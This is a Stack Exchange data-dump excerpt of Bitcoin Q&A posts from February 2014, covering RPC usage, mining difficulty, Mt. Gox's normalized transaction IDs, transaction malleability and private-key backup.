  <row Id="22305" PostTypeId="1" AcceptedAnswerId="22465" CreationDate="2014-02-17T15:27:56.043" Score="0" ViewCount="740" Body="&lt;p&gt;Im trying to get how many confirmations a transaction has. However I just get error when I try to get gettransaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://block-explorer.com/tx/e15e0edd6d6b07531c146a91528ba628b28d37acb28e6a271a563a2284092e16&quot; rel=&quot;nofollow&quot;&gt;http://block-explorer.com/tx/e15e0edd6d6b07531c146a91528ba628b28d37acb28e6a271a563a2284092e16&lt;/a&gt;&#xA;GetBlock works fine with the transaction here.. also getrawtransaction works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I try gettransaction I get this error.&#xA;The remote server returned an error: (500) Internal Server Error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how my request looks like&#xA;{&quot;id&quot;:&quot;0&quot;,&quot;method&quot;:&quot;gettransaction&quot;,&quot;params&quot;:[&quot;e15e0edd6d6b07531c146a91528ba628b28d37acb28e6a271a563a2284092e16&quot;]}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of what Im doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="13410" LastActivityDate="2014-02-20T12:45:03.393" Title="gettransaction (The remote server returned an error: (500) Internal Server Error.)" Tags="|api|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22307" PostTypeId="2" ParentId="22296" CreationDate="2014-02-17T16:32:54.327" Score="3" Body="&lt;p&gt;See &lt;a href=&quot;https://bitcoil.co.il/Doublespend.pdf&quot; rel=&quot;nofollow&quot;&gt;https://bitcoil.co.il/Doublespend.pdf&lt;/a&gt;. What matters is the number of blocks, not time elapsed or average time for this many blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the idea of &quot;wait for 6 confirmations or 1 hour&quot; in Bitcoin is a myth. If 1 hour passes with 3 confirmations you're &lt;em&gt;less&lt;/em&gt; secure than if 30 minutes passed with 3 confirmations, because the attacker would have had more time to build his competing branch.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-02-17T16:32:54.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22308" PostTypeId="1" CreationDate="2014-02-17T17:00:29.990" Score="2" ViewCount="2303" Body="&lt;p&gt;What would happen if 90% of the Bitcoin miners were to suddenly stop mining Bitcoin, i.e. the Bitcoin network's hashing power would drop to 10% of the previous amount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it become more difficult for the rest of miners to mine? Would transactions take longer than usual?&lt;/p&gt;&#xA;" OwnerUserId="13572" LastEditorUserId="5406" LastEditDate="2016-03-11T15:05:53.923" LastActivityDate="2018-09-11T21:06:32.387" Title="What would happen if 90% of the Bitcoin miners suddenly stopped mining?" Tags="|difficulty|hashpower|block-interval|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22309" PostTypeId="1" AcceptedAnswerId="22314" CreationDate="2014-02-17T17:11:30.837" Score="3" ViewCount="330" Body="&lt;p&gt;Mt. Gox have released &lt;a href=&quot;https://www.mtgox.com/img/pdf/20140217-Announcement.pdf&quot; rel=&quot;nofollow&quot;&gt;a statement&lt;/a&gt; concerning their recent withdrawal problems.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In order to launch the new system, we are going through the following&#xA;  steps:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Re-indexing the entire Blockchain (approx. 32 million entries)&lt;/li&gt;&#xA;  &lt;li&gt;Fully deploying the new &lt;strong&gt;NTX ID&lt;/strong&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Implementing a new bitcoin withdrawal queue that needs to be tested&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is the &lt;code&gt;NTX ID&lt;/code&gt; something native to the Blockchain.info API? Does Blockchain.info host it's own separate version of the actual blockchain with additional meta data?&lt;/p&gt;&#xA;" OwnerUserId="11209" LastEditorUserId="5406" LastEditDate="2014-02-17T21:41:54.870" LastActivityDate="2014-02-17T21:41:54.870" Title="What is the NTX ID that Mt. Gox refer to in their Feb 17th Statement?" Tags="|transactions|blockchain|mtgox|transaction-malleability|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22311" PostTypeId="1" CreationDate="2014-02-17T17:29:52.037" Score="7" ViewCount="1874" Body="&lt;p&gt;For the &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot;&gt;Bitcoin project on Github&lt;/a&gt; clicking &quot;Show language statistics&quot; shows that the source code is almost 74% TypeScript. Why is this so when ostensibly Bitcoin is written almost entirely in C++. Even Script, Bitcoin's programming language, has got nothing to do with TypeScript or Javascript. What am I missing?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13500" LastEditorUserId="5406" LastEditDate="2014-10-04T07:48:32.310" LastActivityDate="2014-10-04T07:48:32.310" Title="Why does Github say that the Bitcoin project is 74% TypeScript?" Tags="|bitcoin-core|bitcoin-core-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22312" PostTypeId="2" ParentId="22168" CreationDate="2014-02-17T17:49:02.930" Score="0" Body="&lt;p&gt;It's the same hash value that is signed by ESDSA (i.e., it's the &quot;e&quot; value used in the calculation of the signature's s value  s=(e+dr)/k&lt;/p&gt;&#xA;" OwnerUserId="13574" LastActivityDate="2014-02-17T17:49:02.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22313" PostTypeId="1" AcceptedAnswerId="22866" CreationDate="2014-02-17T18:15:18.833" Score="5" ViewCount="1435" Body="&lt;p&gt;I have two questions, both about &lt;code&gt;sendmany&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, is there any limit on how much transactions can I send with sendmany? (Apart from bash's limit with maximal parameter length.) Is sending about 500 transactions OK?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, what will be the fees used when I send a lot of transactions (and thus, probably creating a big transaction)?&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2014-03-03T04:48:39.737" Title="Fees for bitcoind sendmany, limits for number of end addresses" Tags="|bitcoind|api|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22314" PostTypeId="2" ParentId="22309" CreationDate="2014-02-17T18:20:31.590" Score="1" Body="&lt;p&gt;This is closely tied to the &lt;a href=&quot;/questions/tagged/transaction-malleability&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;transaction-malleability&amp;#39;&quot; rel=&quot;tag&quot;&gt;transaction-malleability&lt;/a&gt; bug, which allowed the re-posting of unconfirmed transactions with an altered transaction id. The issue increased the complexity for bookkeeping for services with a high number of transactions. Especially, some people used it to sneak duplicate withdrawals from Mt.Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The change to the transaction ID was made by pushing additional zeros to the signature's front. I think &lt;strong&gt;NTX ID&lt;/strong&gt; stands for &lt;em&gt;normalized transaction id&lt;/em&gt; which will map all duplicate transactions back to the same representation, even when they were altered by exploiting the transaction malleability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is an internal blockchain representation used by Mt.Gox and has nothing to do with the service blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-02-17T18:29:43.647" LastActivityDate="2014-02-17T18:29:43.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22315" PostTypeId="2" ParentId="22309" CreationDate="2014-02-17T18:23:17.893" Score="1" Body="&lt;p&gt;Normalized transaction id is another name for the normalized transaction hash:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Normalized Transaction Hash is a hash of the serialized transaction with its input scripts blank. This hash cannot be altered through transaction malleability&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See a discussion here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3656&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/3656&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13520" LastActivityDate="2014-02-17T18:23:17.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22316" PostTypeId="2" ParentId="22311" CreationDate="2014-02-17T18:24:20.387" Score="8" Body="&lt;p&gt;That's because of the QT translation files, see &lt;a href=&quot;https://github.com/bitcoin/bitcoin/search?l=typescript&quot;&gt;https://github.com/bitcoin/bitcoin/search?l=typescript&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why they are recognized as TypeScript (it's just XML), I guess it's because of the filename extension &lt;code&gt;.ts&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4564" LastActivityDate="2014-02-17T18:24:20.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22317" PostTypeId="1" AcceptedAnswerId="22321" CreationDate="2014-02-17T18:48:14.827" Score="0" ViewCount="83" Body="&lt;p&gt;I try to use the build in API by bitcoin client and I wonder how to get the sync status via API of a runing client.&lt;/p&gt;&#xA;" OwnerUserId="13558" LastActivityDate="2014-03-19T20:43:06.613" Title="how to get clients sync status via API" Tags="|client|api|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22318" PostTypeId="2" ParentId="22304" CreationDate="2014-02-17T18:51:05.287" Score="-1" Body="&lt;p&gt;An unconfirmed transaction cannot be spent. End of story really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for the sake of completeness, if you try to spend it your transaction will also remain unconfirmed with the person you paid. Neither of these transactions will ever enter the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-02-17T18:51:05.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22319" PostTypeId="2" ParentId="22308" CreationDate="2014-02-17T19:27:04.723" Score="4" Body="&lt;p&gt;The probability of 90% of miners suddenly stopping mining bitcoin is only slightly more probable than the chance of the sun going dark this afternoon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, supposing that 90% of the active bitcoin miners were to suddenly vanish, the first effect would be that blocks would take much more time to be confirmed (10x longer, so 100 minutes per block instead of 10 on average). The next time the difficulty is adjusted (up to 2016 blocks later), the difficulty would be reduced such that blocks again take about 10 minutes to confirm depending on the new speed of the network as a whole. The difficulty is normally adjusted so that 2016 blocks is about two weeks, but if you just lost 90% of your hashing power then the next adjustment could be up to &lt;em&gt;twenty&lt;/em&gt; weeks later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last time the difficulty was 10x less than it is now was around October 2013. You can see the difficulty &lt;a href=&quot;https://bitinfocharts.com/comparison/bitcoin-difficulty.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;history here&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lT4cM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11253" LastEditorUserId="82283" LastEditDate="2018-09-11T21:06:32.387" LastActivityDate="2018-09-11T21:06:32.387" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22320" PostTypeId="1" CreationDate="2014-02-17T19:32:05.530" Score="-1" ViewCount="170" Body="&lt;p&gt;I'm fairly new to mining bitcoin, but I have read that using GPU can help improve performance. I currently am using GUIMiner (latest version) running on an OpenCL back-end but when I choose to use my graphics card I get less than I would without it. I also use Slush's pool, if that could have any relation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PC Specs: Acer Aspire 5560 AMD a6-3420M APU with Radeon HD @ 1.50 GHZ 4GB Ram, is a laptop&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also can overclocking my pc improve performance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;          - bitcoin n00b&lt;/p&gt;&#xA;" OwnerUserId="13577" LastEditorUserId="5406" LastEditDate="2016-02-21T16:09:00.763" LastActivityDate="2016-02-21T16:09:00.763" Title="Please help, stuck at static 24Mhash/s?" Tags="|mining-pools|hashpower|gpu-mining|miner-configuration|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-21T13:33:13.703" ContentLicense="CC BY-SA 3.0" />
  <row Id="22321" PostTypeId="2" ParentId="22317" CreationDate="2014-02-17T20:03:31.317" Score="0" Body="&lt;p&gt;You can do it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;code&gt;getblockcount&lt;/code&gt; gives you the most recent block you have [call it n]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;code&gt;getblockhash n&lt;/code&gt; gives you the hash for that block [call it hash]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) &lt;code&gt;getblock hash&lt;/code&gt; gives you the block. You can compare the time of that block with the current time, and estimate how many blocks behind you are. It should be approximately &lt;code&gt;(now - blocktime) / 600&lt;/code&gt; if the times are in seconds.&lt;/p&gt;&#xA;" OwnerUserId="13520" LastActivityDate="2014-02-17T20:03:31.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22322" PostTypeId="1" AcceptedAnswerId="22323" CreationDate="2014-02-17T20:22:17.997" Score="1" ViewCount="698" Body="&lt;p&gt;As the title says: My blockchain sync still needs to sync 56 weeks, but I want to export my private keys from the bitcoin qt wallet to blockchain.info. &#xA;Is it possible to do that without waiting for the chain to complete and unninstall the program, or do I have to wait?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13576" LastActivityDate="2014-02-17T20:58:29.077" Title="Do I need to wait for blockchain to complete to use private key elsewhere?" Tags="|blockchain|bitcoin-core|blockchain.info|private-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22323" PostTypeId="2" ParentId="22322" CreationDate="2014-02-17T20:23:52.413" Score="2" Body="&lt;p&gt;You can export your private keys (using the dumpprivkey command in the console) without having to wait to sync the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-02-17T20:23:52.413" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22324" PostTypeId="2" ParentId="22320" CreationDate="2014-02-17T20:44:49.210" Score="1" Body="&lt;p&gt;Using a graphics card to mine is completely fruitless, at this point you would not make a more than about 9 cents a month. Mining is now done on efficient, dedicated hardware that is designed just for this particular work. Mining on a laptop will absolutely kill it as they're not designed for continuous loads. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-17T20:44:49.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22326" PostTypeId="2" ParentId="22322" CreationDate="2014-02-17T20:58:29.077" Score="1" Body="&lt;p&gt;Private keys can (and should!) be backed up as soon as they are created. You do not have to wait for the blockchain to sync, and in fact new accounts don't exist on the blockchain until they get some bitcoin in them - receiving your first bitcoin to your address is what adds them to the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the balances of the accounts are stored in the blockchain, you also don't need to back up as your balance changes; the balance the blockchain credits to your private key will change, but your key itself never will (unless you create new accounts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your desktop client is not yet up-to-date, you will not SEE your bitcoin; once your client passes the block which shows your arriving bitcoin, it will magically update; spent coins, similarly, will only show as you download the relevant block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always see your (or anyone's) up-to-date balance by typing (copy/paste) the account number into blockchain.info's search, since they have the entire blockchain (and keep track of the unconfirmed transactions that are not yet in the blockchain).&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-02-17T20:58:29.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22327" PostTypeId="2" ParentId="22289" CreationDate="2014-02-17T21:02:21.747" Score="0" Body="&lt;p&gt;You can tell if the address is deterministic - you can create a &quot;second&quot; private key with the same password. If the algorithm is deterministic, you will get the same answer!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beware, however, that if they change their algorithm, or if the website disappears, and you don't have your private key, your bitcoin are gone forever!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not take the risk.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-02-17T21:02:21.747" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22328" PostTypeId="2" ParentId="22223" CreationDate="2014-02-17T21:31:47.800" Score="-1" Body="&lt;p&gt;The current hash rate of the entire network is in the order of 2^55 hashes/sec.; in 10 minutes (less than 2^9 seconds), we would be running through 2^64 hashes/second. This is 1/2^96th of the available space (between all of us), if EVERYONE colludes. The chance of randomly chosen nonces colliding is outweighed by the effort it would take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember that, in that 2^160 space, there are a LOT of answers.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-02-17T21:31:47.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22329" PostTypeId="2" ParentId="17989" CreationDate="2014-02-17T21:48:00.257" Score="0" Body="&lt;p&gt;Your VGA card &lt;em&gt;has&lt;/em&gt; no performance to maximise. Your CPU is more powerful for this kind of computation. I know, I have the same card.&lt;/p&gt;&#xA;" OwnerUserId="7059" LastActivityDate="2014-02-17T21:48:00.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22330" PostTypeId="2" ParentId="22223" CreationDate="2014-02-17T21:51:41.500" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;the probability that a miner solves their block in the next tick increases with the number of hashes already checked, since the nonce space is finite.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is false. The probability that a miner solves their block has nothing to do with the number of hashes already checked. A block is solved if the nonce produces a hash less than the difficulty. Neither of these things are affected by prior hashes checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nonce space is finite. But the nonce space can contain zero block solutions, one block solution or even two block solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A typical miner exhausts their nonce space and starts working on a different block several times each second. I have a miner behind me that mines at about 300GH/s. Since there are only 4 billion nonce values, it can try the full range of nonce values 75 times each second. Needless to say, most blocks are unmineable with any nonce, and you must try again with a different block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The odds of a block being mineable with &lt;em&gt;any&lt;/em&gt; nonce are less than 3 billion to one.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-17T21:51:41.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22331" PostTypeId="2" ParentId="22289" CreationDate="2014-02-17T21:52:16.907" Score="2" Body="&lt;p&gt;To answer your question: bitaddress.org uses the SHA-256 hash of the password you provided as the private key. Therefore, you can always derive that private key from your password. If you can write a few lines of code, you can test this yourself (I just did).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you generated your passphrase using dice then you are unlikely to memorize it. Therefore, it's not really a brain wallet. The SHA-256 step is really unnecessary, you might as well use the numbers from the dice rolls as a private key (you'd have to convert it to binary, encode it as 32 bytes and then convert it into the wallet import format).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason to do what you just did is if you don't trust the random number generator in your browser. Now that you have a private key, you might as well write that down and forget the input to the SHA-256 hash.&lt;/p&gt;&#xA;" OwnerUserId="13520" LastEditorUserId="13520" LastEditDate="2014-02-17T22:26:37.227" LastActivityDate="2014-02-17T22:26:37.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22332" PostTypeId="2" ParentId="22167" CreationDate="2014-02-17T22:11:04.993" Score="1" Body="&lt;p&gt;I'm going to make a wild stab in the dark, that you are probably moving bitcoins from an exchange, because if you are new to this you are probably not making multi-party payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The earlier of the two transactions (green) is showing several previous addresses, paying several others. This would occur for instance when you withdraw from an exchange: ie they will be paying many people who are all making withdrawals, from coins that were deposited at many addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second payment, I am going to assume is a consolidation payment. As you say you only made one transaction, I can only think that this is either an exchange consolidating your deposit (because your first transaction was from one exchange to another), or else you withdrew to an online wallet service which is doing the same thing - consolidating. (Beware) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a third alternative, and that is that your machine has been compromised and you have just lost some bitcoins. I hope not.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-02-17T22:11:04.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22333" PostTypeId="1" CreationDate="2014-02-17T22:16:51.037" Score="2" ViewCount="147" Body="&lt;p&gt;Suppose an auditor needs to review all the incoming Tx for a given wallet... or many wallets.  What are the logical steps the Auditor needs to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do they need to pre-generate a list of all possible public keys and watch new blocks for those transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that there is no limit to BIP32 keys, that means the auditor would need an infinite amount of resources to audit a key (pre generation, and then cross referencing each incoming Tx).  What are some appropriate ways to constrain this auditing?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2016-02-05T23:49:33.940" Title="How would an Auditor (&quot;m&quot;) of BIP32 audit the keys generated by the master?" Tags="|performance|bip32-hd-wallets|deterministic-wallets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22335" PostTypeId="1" AcceptedAnswerId="66282" CreationDate="2014-02-17T23:52:06.027" Score="3" ViewCount="3091" Body="&lt;p&gt;I'm trying to work with the bitcoin daemon and rpc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the user &amp;amp; password I set I can't connect to it, trying with curl I always get &quot;Empty reply from server&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works just fine in the real network, I can connect, getinfo, etc, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I might be missing? the output log in the daemon only shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;accepted connection 190.xxx:62470&#xA;disconnecting node 190.xxx:62470&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Javyer&lt;/p&gt;&#xA;" OwnerUserId="13583" LastActivityDate="2018-02-22T01:36:26.497" Title="Bitcoin daemon sends &quot;Empty reply from server&quot; when in test net" Tags="|json-rpc|server|daemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22336" PostTypeId="2" ParentId="5948" CreationDate="2014-02-18T00:31:19.207" Score="2" Body="&lt;p&gt;Yes, you can now store up to 80 bytes via an additional, special output:&#xA;&lt;a href=&quot;https://bitcoinfoundation.org/blog/?p=290&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinfoundation.org/blog/?p=290&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12221" LastActivityDate="2014-02-18T00:31:19.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22337" PostTypeId="1" AcceptedAnswerId="22339" CreationDate="2014-02-18T00:36:22.953" Score="0" ViewCount="1642" Body="&lt;p&gt;I right clicked the transaction history in the QT client and pasted in the TxID below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following test, can anyone explain what the purpose of the suffix &lt;code&gt;-000&lt;/code&gt; is and what it's used for?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gettransaction 54b9be14443b152b02ed0b18d27504631cccfa84ce9ada03f9558fbb85b6129c-000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't a raw transaction support the same transaction ID format as the previous command?  (I need to remove the -000 characters)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getrawtransaction 54b9be14443b152b02ed0b18d27504631cccfa84ce9ada03f9558fbb85b6129c-000&#xA;ERROR: parameter 1 must be hexadecimal string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I enable &lt;code&gt;index=1&lt;/code&gt; in bitcoin.conf and reindex, why can't I call &lt;code&gt;GetTransaction&lt;/code&gt; for transactions not in my wallet?  I would like JSON friendly results&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-02-18T00:53:31.517" Title="Can anyone explain the differences in behavior of getrawtransaction and gettransaction in RPC?" Tags="|transactions|bitcoind|bitcoin-core|json-rpc|raw-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22338" PostTypeId="2" ParentId="9277" CreationDate="2014-02-18T00:45:41.383" Score="0" Body="&lt;p&gt;One way is to pre-calculate a subset of the data - this would be up to the author of the bitcoin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the author of a particular client could say (to the program): &quot;The first block is 286,427, it's hash is 0000000000000000f85c21f45015dcd2a89df40b03071234e1b3211aecaea1a4, and at that time, the COMPLETE list of balances is as follows: (include the full list here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So long as the information is correct (and verified), and it is not on the wrong side of a fork, processing could continue from there. You would lose transactions before then.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-02-18T00:45:41.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22339" PostTypeId="2" ParentId="22337" CreationDate="2014-02-18T00:53:31.517" Score="1" Body="&lt;p&gt;Q1: A ledger entry in the wallet view corresponds to a single &lt;em&gt;output&lt;/em&gt; of a transaction. The suffix is there to distinguish which output of the transaction is used. It's a bit of strange choice to format it that way; in most places, ':' is used as a separator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q2: &lt;code&gt;getrawtransaction&lt;/code&gt; queries the memory pool, the set of unspent transaction outputs and the blockchain (if &lt;code&gt;txindex&lt;/code&gt; is enabled) for a transaction. It doesn't query a single output, so you pass in just the hexadecimal identifier. You can query individual unspent transaction outputs using the &lt;code&gt;gettxout&lt;/code&gt; command (which takes a txid + the output index as separate arguments). You can pass an extra 1 as argument to getrawtransaction to have it decoded, instead of just the raw hex. &lt;code&gt;decoderawtransaction&lt;/code&gt; can do this for arbitrary hex-encoded raw transactions. Perhaps this is the answer to Q3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q3: &lt;code&gt;gettransaction&lt;/code&gt; is a wallet RPC. It cannot operate on anything else, as it needs the higher abstraction layer. It computes debit/credit and fee, which requires identifying which outputs are from/to you, and which are change. This requires knowing what keys belong to you. It does not query the blockchain, but you can use '&lt;code&gt;getrawtransaction&lt;/code&gt; [txid] 1' to get a decoded form of blockchain transactions (with &lt;code&gt;txindex&lt;/code&gt; enabled).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-02-18T00:53:31.517" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22341" PostTypeId="1" CreationDate="2014-02-18T01:03:44.040" Score="2" ViewCount="2915" Body="&lt;p&gt;So would it really be possible to buy bitcoin at MtGox at $259 and sell for $635 at BitStamp at 18th February 2014? Because those are the bitcoin exchange prices at that moment?&lt;/p&gt;&#xA;" OwnerUserId="13587" LastActivityDate="2014-02-18T04:25:07.100" Title="Possible to buy bitcoin at MtGox at $259 and sell for $635 at BitStamp at 18th February 2014?" Tags="|mtgox|" AnswerCount="2" CommentCount="0" ClosedDate="2014-02-18T22:13:00.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="22342" PostTypeId="2" ParentId="22341" CreationDate="2014-02-18T01:18:19.480" Score="2" Body="&lt;p&gt;In short: At this current time, you can buy BTC but you can not withdraw your BTC from Mt. Gox due to immaturity of their infrastructure and modified Bitcoin code. Time will tell if they survive this. So no, it is not possible to buy from GOX and then sell those at Bitstamp since Gox will not allow this until further notice expected before &lt;a href=&quot;https://www.mtgox.com/img/pdf/20140217-Announcement.pdf&quot; rel=&quot;nofollow&quot;&gt;thursday&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At the beginning they will do so at a moderated pace and with new&#xA;  daily/monthly limits in place to prevent any problems with the new&#xA;  system and to take into account current market conditions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="9591" LastEditDate="2014-02-18T01:36:32.797" LastActivityDate="2014-02-18T01:36:32.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
